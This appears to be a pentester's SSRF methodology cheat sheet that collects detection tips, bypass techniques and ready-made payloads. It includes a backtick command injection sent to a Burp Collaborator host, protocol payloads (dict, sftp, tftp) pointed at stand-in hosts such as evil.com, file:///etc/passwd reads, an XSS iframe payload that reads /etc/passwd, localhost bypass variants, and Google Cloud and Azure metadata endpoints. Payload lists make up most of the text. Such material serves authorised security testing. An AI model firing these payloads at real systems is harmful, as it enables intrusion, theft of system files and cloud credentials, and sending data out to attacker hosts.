Server Side Request Forgery - SSRF Attack Methodology

October 3, 2023

Resources

https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf

https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery

Detection:

Check out parameters such as /file=, /path=, /src= to see if the application can send request only to whitelisted applications

Check out if there is PDF or any other file export tool in place which may be vulnerable to SSRF

SSRF with Command Injection It might be worth trying a payload like: url=http://3iufty2q67fuy2dew3yug4f34.burpcollaborator.net?`whoami`

PDFs Rendering If the web page is automatically creating a PDF with some information you have provided, you can insert some JS that will be executed by the PDF creator itself (the server) while creating the PDF and you will be able to abuse a SSRF. Find more information here.

From SSRF to DoS Create several sessions and try to download heavy files exploiting the SSRF from the sessions.

Handlers

The first thing you need to do is to capture a SSRF interaction provoked by you. To capture a HTTP or DNS interaction you can use tools such as: Burpcollab pingb canarytokens interractsh http://webhook.site https://github.com/teknogeek/ssrf-sheriff Whitelisted Domains Bypass Usually you will find that the SSRF is only working in certain whitelisted domains or URL. In the following page you have a compilation of techniques to try to bypass that whitelist:

Bypass via open redirect

If the server is correctly protected you could bypass all the restrictions by exploiting an Open Redirect inside the web page. Because the webpage will allow SSRF to the same domain and probably will follow redirects, you can exploit the Open Redirect to make the server to access internal any resource. Read more here: https://portswigger.net/web-security/ssrf Protocols file:// file:///etc/passwd dict:// The DICT URL scheme is used to refer to definitions or word lists available using the DICT protocol: dict://;@:/d::: ssrf.php?url=dict://attacker:11111/ SFTP:// A network protocol used for secure file transfer over secure shell ssrf.php?url=sftp://evil.com:11111/ TFTP:// Trivial File Transfer Protocol, works over UDP ssrf.php?url=tftp://evil.com:12346/TESTUDPPACKET LDAP:// Lightweight Directory Access Protocol. It is an application protocol used over an IP network to manage and access the distributed directory information service. ssrf.php?url=ldap://localhost:11211/%0astats%0aquit

Basic localhost Payloads:

http://127.0.0.1:port
http://localhost:port
https://127.0.0.1:port
https://localhost:port
http://[::]:port
http://0000::1:port
http://[0:0:0:0:0:ffff:127.0.0.1]
http://0/
http://127.1
http://127.0.1

File path: /etc/passwd file:///etc/passwd file://path/to/file file:////etc/passwd

With other protocols: sftp://attacker.com:port/ dict://attacker:port/ tftp://attacker.com:port/ ldap://localhost:port/ gopher://127.0.0.1:port/

From XSS: <img src=“xxx” onerror=“document.write(‘<iframe src=file:///etc/passwd></iframe>’)”/>
<link rel=attachment href=“file:///etc/passwd”>\

With iframe injection:

Google Cloud: http://169.254.169.254/computeMetadata/v1/ http://metadata.google.internal/computeMetadata/v1/ http://metadata/computeMetadata/v1/ http://metadata.google.internal/computeMetadata/v1/instance/hostname http://metadata.google.internal/computeMetadata/v1/instance/id http://metadata.google.internal/computeMetadata/v1/project/project-id

Azure: http://169.254.169.254/metadata/v1/maintenance http://169.254.169.254/metadata/instance?api-version=2017-04-02 http://169.254.169.254/metadata/instance/network/interface/0/ipv4/ipAddress/0/publicIpAddress?api-version=2017-04-02&format=text